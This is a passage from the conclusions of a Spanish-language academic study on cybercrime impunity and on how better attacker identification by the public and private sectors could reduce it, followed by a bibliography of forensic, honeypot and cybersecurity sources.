relacion entre ella y el crecimiento del delito. Y por ultimo averiguar si se pueden ofrecer
propuestas que puedan mejorar la situacion actual, mejorando la identificacion de los atacantes,
tanto desde el sector publico como desde el privado, y si podria convertirse en una etapa mas de la
ciberseguridad, o al menos, ser un valioso elemento mas que decreciera la sensacion de impunidad
y por consiguiente, el volumen de ciberdelitos.

Llegando al final de la investigacion las conclusiones que hemos sacado son afirmativas.
Existe un grado de impunidad inaceptable en los ciberdelitos actualmente y ademas la tendencia es
al alza. El sector privado ha tomado indiscutiblemente la iniciativa de su ciberseguridad por encima
del sector publico, al comprobar que no es capaz de seguirle el ritmo a la actual realidad,
extremadamente veloz, y asumiendo que si no reaccionan, seran victimas de los atacantes.

Descubrimos que se estd fomentando sin quererlo, como sospechdbamos, no solo la
impunidad, sino la sensacion de impunidad. Como consecuencia, esto llega a abrir un espectro de
ciberdelincuencia tan amplio que seduce desde a una persona con pocos conocimientos en su casa
con un equipo doméstico, como a organizaciones juramentadas con gobiernos. Esta sensacion
retroalimenta el problema, pues al aumentar la impunidad, aumenta el delito en una igualdad
maliciosa.

Todo esto nos ha llevado a detectar varias necesidades. La empresa privada debe continuar
fortificindose pero también tienen que elevar el protagonismo de las iniciativas para identificar a
los responsables en los incidentes punibles, el esclarecimiento y la imputabilidad, colaborando en
un beneficio global. El sector publico tiene que estudiar en qué esta fallando para que el contexto
actual sea el que es. Y por su parte, el poder legislativo ha de mejorar y ha de saber liberar las
manos de quienes quieren ayudar sin que la parte maliciosa se vea beneficiada por ello.

La sociedad en general, ha de mejorar sensiblemente toda la estructura pero dificilmente lo
haran mientras que el espacio de los ciberdelincuentes sea global, y el de las autoridades sea local.

En base a estas necesidades creamos una propuesta, sencilla, pero funcional, que apenas se
adentraba ligeramente en lo que podria llegar a hacerse, colaborando en la identificacion de los
intrusos y damos or demostrado que ain queda mucho por implementar en la identificacion de los
intrusos y que podrian anadirse etapas o al menos valiosos elementos, al ciclo de vida de la

ciberseguridad.
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CAINE Linux
https://es.wikipedia.org/wiki/CAINE_Linux

EL SOFTWARE LIBRE Y LA INFORMATICA FORENSE
http://software-libre-if.blogspot.com/p/herramientas-para-el-analisis-de.html

CAINE, LiveCD
https://www.dragonjar.org/caine-livecd-linux-para-informatica-forense.xhtmil

Stop Attack Movement
https://www.illusivenetworks.com/

Careto (malware)
https://es.wikipedia.org/wiki/Careto (malware)

Google: Panorama actual de la Ciberseguridad en Espaina
https://www.ospi.es/export/sites/ospi/documents/documentos/Seqguridad-y-privacidad/Google Panorama-
actual-de-la-ciberseguridad-en-Espana.pdf

APROSER
https://www.aproser.es/sector/cifras-y-datos-del-sector/

Advierten relacion entre altos indices de impunidad e incremento de delitos
https://iteso.mx/web/general/detalle?group id=16647650

Las 7 fases de un ciberataque. ¢Las conoces?
https://www.incibe.es/protege-tu-empresa/blog/las-7-fases-ciberataque-las-conoces

¢Qué es un honeypot?
https://candytraps.wordpress.com/que-es-un-honeypot/

Guia de implantacién de un honeypot industrial
https://www.incibe-cert.es/sites/default/files/contenidos/guias/doc/incibe-
cert_guia_implantacion_honeypot industrial.pdf

LA PRUEBA ELECTRONICA
https://ecija.com/wp-content/uploads/2016/09/EBOOK-Sept16PruebaElectronicagran-final.pdf

Filtrado de bogons

https://es.wikipedia.org/wiki/

Filtrado de bogons#:~:text=Bogon%20tambi%C3%A9N%20es%20un%20nombre,de%20Internet%20del
€gado%20(RIR).
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